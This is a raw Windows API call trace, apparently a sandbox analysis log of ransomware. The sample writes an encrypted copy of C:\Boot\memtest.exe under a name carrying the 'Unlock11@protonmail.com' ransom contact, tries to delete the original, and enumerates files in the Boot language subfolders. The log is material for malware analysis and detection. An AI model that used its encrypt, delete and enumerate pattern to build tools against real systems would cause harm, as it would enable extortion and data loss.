[0115.758] GetLastError () returned 0x0 [0115.758] GetLastError () returned 0x0 [0115.758] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881090 | out: hHeap=0x2ad0000) returned 1 [0115.758] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x33f69e8 [0115.758] GetLastError () returned 0x0 [0115.758] CreateFileA (lpFileName="C:\\Boot\\memtest.exe.[Unlock11@protonmail.com].enc" (normalized: "c:\\boot\\memtest.exe.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ac [0115.759] GetFileType (hFile=0x3ac) returned 0x1 [0115.759] GetLastError () returned 0x0 [0115.759] GetCurrentThreadId () returned 0x9b0 [0115.759] GetLastError () returned 0x0 [0115.759] GetFileType (hFile=0x3ac) returned 0x1 [0115.759] GetFileInformationByHandle (in: hFile=0x3ac, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0115.760] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0115.760] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0115.760] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0115.760] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0115.760] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0115.760] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0115.760] GetLastError () returned 0x0 [0115.760] GetCurrentThreadId () returned 0x9b0 [0115.760] GetLastError () returned 0x0 [0115.760] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f69e8 | out: hHeap=0x2ad0000) returned 1 [0115.760] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8a4e8 | out: hHeap=0x2ad0000) returned 1 [0115.760] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38812d0 [0115.760] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38812d0 | out: hHeap=0x2ad0000) returned 1 [0115.761] GetLastError () returned 0x0 [0115.761] GetLastError () returned 0x0 [0115.761] GetCurrentThreadId () returned 0x9b0 [0115.761] GetLastError () returned 0x0 [0115.761] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881240 | out: hHeap=0x2ad0000) returned 1 [0115.761] GetLastError () returned 0x0 [0115.761] GetLastError () returned 0x0 [0115.761] GetCurrentThreadId () returned 0x9b0 [0115.761] GetLastError () returned 0x0 [0115.761] GetLastError () returned 0x0 [0115.764] GetLastError () returned 0x0 [0115.764] GetCurrentThreadId () returned 0x9b0 [0115.764] GetLastError () returned 0x0 [0115.764] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f69d8 | out: hHeap=0x2ad0000) returned 1 [0115.764] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x36f8548 [0115.764] GetCurrentThreadId () returned 0x9b0 [0115.765] GetLastError () returned 0x0 [0115.765] GetLastError () returned 0x0 [0115.765] GetLastError () returned 0x0 [0115.765] GetLastError () returned 0x0 [0115.765] GetCurrentThreadId () returned 0x9b0 [0115.765] GetLastError () returned 0x0 [0115.765] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0115.765] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881270 [0115.765] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881270 | out: hHeap=0x2ad0000) returned 1 [0115.766] GetLastError () returned 0x0 [0115.767] GetLastError () returned 0x0 [0115.767] GetCurrentThreadId () returned 0x9b0 [0115.767] GetLastError () returned 0x0 [0115.768] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0115.768] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x36f8548 [0115.768] GetLastError () returned 0x0 [0115.769] GetLastError () returned 0x0 [0115.769] GetCurrentThreadId () returned 0x9b0 [0115.769] GetLastError () returned 0x0 [0115.770] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5908 | out: hHeap=0x2ad0000) returned 1 [0115.770] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x33f69d8 [0115.770] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f6a78 | out: hHeap=0x2ad0000) returned 1 [0115.770] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x35c5908 [0115.770] GetCurrentThreadId () returned 0x9b0 [0115.770] GetLastError () returned 0x0 [0115.770] GetLastError () returned 0x0 [0115.770] GetLastError () returned 0x0 [0115.770] GetLastError () returned 0x0 [0115.771] GetCurrentThreadId () returned 0x9b0 [0115.771] GetLastError () returned 0x0 [0115.771] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5908 | out: hHeap=0x2ad0000) returned 1 [0115.771] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881060 [0115.771] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881060 | out: hHeap=0x2ad0000) returned 1 [0115.771] GetLastError () returned 0x0 [0115.772] GetLastError () returned 0x0 [0115.772] GetCurrentThreadId () returned 0x9b0 [0115.772] GetLastError () returned 0x0 [0115.772] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0115.772] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x35c5908 [0115.772] GetLastError () returned 0x0 [0115.774] GetLastError () returned 0x0 [0115.774] GetCurrentThreadId () returned 0x9b0 [0115.774] GetLastError () returned 0x0 [0115.774] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0115.775] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x33f6a68 [0115.775] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f69d8 | out: hHeap=0x2ad0000) returned 1 [0115.775] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x36f8548 [0115.775] GetCurrentThreadId () returned 0x9b0 [0115.775] GetLastError () returned 0x0 [0115.775] GetLastError () returned 0x0 [0115.775] GetLastError () returned 0x0 [0115.776] GetLastError () returned 0x0 [0115.776] GetCurrentThreadId () returned 0x9b0 [0115.776] GetLastError () returned 0x0 [0115.776] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0115.776] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881000 [0115.776] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881000 | out: hHeap=0x2ad0000) returned 1 [0115.776] GetLastError () returned 0x0 [0115.777] GetLastError () returned 0x0 [0115.777] GetCurrentThreadId () returned 0x9b0 [0115.777] GetLastError () returned 0x0 [0115.777] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0115.778] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x36f8548 [0115.778] GetLastError () returned 0x0 [0115.778] GetLastError () returned 0x0 [0115.778] GetCurrentThreadId () returned 0x9b0 [0115.778] GetLastError () returned 0x0 [0115.778] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5908 | out: hHeap=0x2ad0000) returned 1 [0115.778] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x33f6a58 [0115.778] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f6a68 | out: hHeap=0x2ad0000) returned 1 [0115.778] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x35c5908 [0115.779] GetLastError () returned 0x0 [0115.779] GetLastError () returned 0x0 [0115.779] GetLastError () returned 0x0 [0115.779] GetLastError () returned 0x0 [0115.779] GetLastError () returned 0x0 [0115.779] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5908 | out: hHeap=0x2ad0000) returned 1 [0115.779] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881180 [0115.780] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881180 | out: hHeap=0x2ad0000) returned 1 [0115.780] GetLastError () returned 0x0 [0115.781] GetLastError () returned 0x0 [0115.781] GetLastError () returned 0x0 [0115.781] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0115.781] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x35c5908 [0115.781] GetLastError () returned 0x0 [0115.781] GetLastError () returned 0x0 [0115.781] GetLastError () returned 0x0 [0115.781] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0115.781] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x33f6aa8 [0115.860] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x35c5908, Size=0x63b5) returned 0x35c5908 [0115.861] CloseHandle (hObject=0x3ac) returned 1 [0115.861] CloseHandle (hObject=0x39c) returned 1 [0115.862] DeleteFileA (lpFileName="C:\\Boot\\memtest.exe" (normalized: "c:\\boot\\memtest.exe")) returned 0 [0115.862] GetLastError () returned 0x5 [0115.862] GetFullPathNameA (in: lpFileName="C:\\Boot\\updaterevokesipolicy.p7b", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Boot\\updaterevokesipolicy.p7b", lpFilePart=0x9bada4*="updaterevokesipolicy.p7b") returned 0x20 [0115.862] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262ec8 [0115.862] FindFirstFileA (in: lpFileName="C:\\Boot\\bg-BG\\*.*", lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47952ba, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc47bb525, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc47bb525, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName=".", cAlternateFileName="")) returned 0x10f7810 [0115.863] GetLastError () returned 0x5 [0115.863] FindNextFileA (in: hFindFile=0x10f7810, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47952ba, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc47bb525, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc47bb525, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName="..", cAlternateFileName="")) returned 1 [0115.863] GetLastError () returned 0x5 [0115.863] FindNextFileA (in: hFindFile=0x10f7810, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc47bb525, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc47bb525, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x210bba74, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12f60, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0115.863] GetLastError () returned 0x5 [0115.863] FindNextFileA (in: hFindFile=0x10f7810, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc47bb525, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc47bb525, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x210bba74, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12f60, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0115.863] GetLastError () returned 0x12 [0115.863] FindClose (in: hFindFile=0x10f7810 | out: hFindFile=0x10f7810) returned 1 [0115.863] GetFileAttributesA (lpFileName="C:\\Boot\\bg-BG\\bootmgr.exe.mui" (normalized: "c:\\boot\\bg-bg\\bootmgr.exe.mui")) returned 0x20 [0115.864] GetFullPathNameA (in: lpFileName="C:\\Boot\\bg-BG\\bootmgr.exe.mui", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Boot\\bg-BG\\bootmgr.exe.mui", lpFilePart=0x9bada4*="bootmgr.exe.mui") returned 0x1d [0115.864] FindFirstFileA (in: lpFileName="C:\\Boot\\cs-CZ\\*.*", lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47bb525, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef511a4c, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef511a4c, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName=".", cAlternateFileName="")) returned 0x10f7510 [0115.864] GetLastError () returned 0x12 [0115.864] FindNextFileA (in: hFindFile=0x10f7510, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47bb525, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef511a4c, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef511a4c, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName="..", cAlternateFileName="")) returned 1 [0115.864] GetLastError () returned 0x12 [0115.864] FindNextFileA (in: hFindFile=0x10f7510, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc47e189c, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc47e189c, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2109581d, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12b58, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0115.864] GetLastError () returned 0x12 [0115.864] FindNextFileA (in: hFindFile=0x10f7510, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc47e189c, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef511a4c, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2f1d4cf, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb1a0, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0115.865] GetLastError () returned 0x12 [0115.865] FindNextFileA (in: hFindFile=0x10f7510, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc47e189c, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef511a4c, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2f1d4cf, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb1a0, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0 [0115.865] GetLastError () returned 0x12 [0115.865] FindClose (in: hFindFile=0x10f7510 | out: hFindFile=0x10f7510) returned 1 [0115.865] GetLastError () returned 0x12 [0115.865] GetFileAttributesA (lpFileName="C:\\Boot\\cs-CZ\\bootmgr.exe.mui" (normalized: "c:\\boot\\cs-cz\\bootmgr.exe.mui")) returned 0x20 [0115.865] GetFileAttributesA (lpFileName="C:\\Boot\\cs-CZ\\memtest.exe.mui" (normalized: "c:\\boot\\cs-cz\\memtest.exe.mui")) returned 0x20 [0115.866] GetFullPathNameA (in: lpFileName="C:\\Boot\\cs-CZ\\bootmgr.exe.mui", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Boot\\cs-CZ\\bootmgr.exe.mui", lpFilePart=0x9bada4*="bootmgr.exe.mui") returned 0x1d [0115.866] GetFullPathNameA (in: lpFileName="C:\\Boot\\cs-CZ\\memtest.exe.mui", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Boot\\cs-CZ\\memtest.exe.mui", lpFilePart=0x9bada4*="memtest.exe.mui") returned 0x1d [0115.866] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262e58 [0115.866] FindFirstFileA (in: lpFileName="C:\\Boot\\da-DK\\*.*", lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47e189c, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0008dbb, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5252b3, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName=".", cAlternateFileName="")) returned 0x10f7450 [0115.866] GetLastError () returned 0x12 [0115.866] FindNextFileA (in: hFindFile=0x10f7450, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47e189c, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0008dbb, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5252b3, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName="..", cAlternateFileName="")) returned 1 [0115.866] GetLastError () returned 0x12 [0115.866] FindNextFileA (in: hFindFile=0x10f7450, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc47e189c, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc47e189c, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x209bac02, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12760, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0115.866] GetLastError () returned 0x12 [0115.867] FindNextFileA (in: hFindFile=0x10f7450, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48079da, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef5252b3, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2ef7268, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb1a0, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0115.867] GetLastError () returned 0x12 [0115.867] FindNextFileA (in: hFindFile=0x10f7450, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48079da, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef5252b3, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2ef7268, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb1a0, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0 [0115.867] GetLastError () returned 0x12 [0115.867] FindClose (in: hFindFile=0x10f7450 | out: hFindFile=0x10f7450) returned 1 [0115.867] GetFileAttributesA (lpFileName="C:\\Boot\\da-DK\\bootmgr.exe.mui" (normalized: "c:\\boot\\da-dk\\bootmgr.exe.mui")) returned 0x20 [0115.867] GetFileAttributesA (lpFileName="C:\\Boot\\da-DK\\memtest.exe.mui" (normalized: "c:\\boot\\da-dk\\memtest.exe.mui")) returned 0x20 [0115.868] GetFullPathNameA (in: lpFileName="C:\\Boot\\da-DK\\bootmgr.exe.mui", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Boot\\da-DK\\bootmgr.exe.mui", lpFilePart=0x9bada4*="bootmgr.exe.mui") returned 0x1d [0115.868] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3263050 [0115.868] GetFullPathNameA (in: lpFileName="C:\\Boot\\da-DK\\memtest.exe.mui", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Boot\\da-DK\\memtest.exe.mui", lpFilePart=0x9bada4*="memtest.exe.mui") returned 0x1d [0115.868] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262fe0 [0115.870] FindFirstFileA (in: lpFileName="C:\\Boot\\de-DE\\*.*", lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48079da, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0009692, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef538bee, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName=".", cAlternateFileName="")) returned 0x10f7a50 [0115.870] GetLastError () returned 0x12 [0115.870] FindNextFileA (in: hFindFile=0x10f7a50, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48079da, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0009692, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef538bee, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName="..", cAlternateFileName="")) returned 1 [0115.871] GetLastError () returned 0x12 [0115.871] FindNextFileA (in: hFindFile=0x10f7a50, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48079da, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48079da, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x209bac02, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x13560, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0115.871] GetLastError () returned 0x12 [0115.871] FindNextFileA (in: hFindFile=0x10f7a50, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef538bee, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2ef7268, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb3a0, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0115.871] GetLastError () returned 0x12 [0115.871] FindNextFileA (in: hFindFile=0x10f7a50, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef538bee, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2ef7268, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb3a0, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0 [0115.871] GetLastError () returned 0x12 [0115.871] FindClose (in: hFindFile=0x10f7a50 | out: hFindFile=0x10f7a50) returned 1 [0115.871] GetLastError () returned 0x12 [0115.871] GetFileAttributesA (lpFileName="C:\\Boot\\de-DE\\bootmgr.exe.mui" (normalized: "c:\\boot\\de-de\\bootmgr.exe.mui")) returned 0x20 [0115.872] GetFileAttributesA (lpFileName="C:\\Boot\\de-DE\\memtest.exe.mui" (normalized: "c:\\boot\\de-de\\memtest.exe.mui")) returned 0x20 [0115.872] GetFullPathNameA (in: lpFileName="C:\\Boot\\de-DE\\bootmgr.exe.mui", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Boot\\de-DE\\bootmgr.exe.mui", lpFilePart=0x9bada4*="bootmgr.exe.mui") returned 0x1d [0115.872] GetFullPathNameA (in: lpFileName="C:\\Boot\\de-DE\\memtest.exe.mui", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Boot\\de-DE\\memtest.exe.mui", lpFilePart=0x9bada4*="memtest.exe.mui") returned 0x1d [0115.872] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3263088 [0115.872] FindFirstFileA (in: lpFileName="C:\\Boot\\el-GR\\*.*", lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef555ff8, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef555ff8, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName=".", cAlternateFileName="")) returned 0x10f7390 [0115.872] GetLastError () returned 0x12 [0115.873] FindNextFileA (in: hFindFile=0x10f7390, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef555ff8, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef555ff8, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, 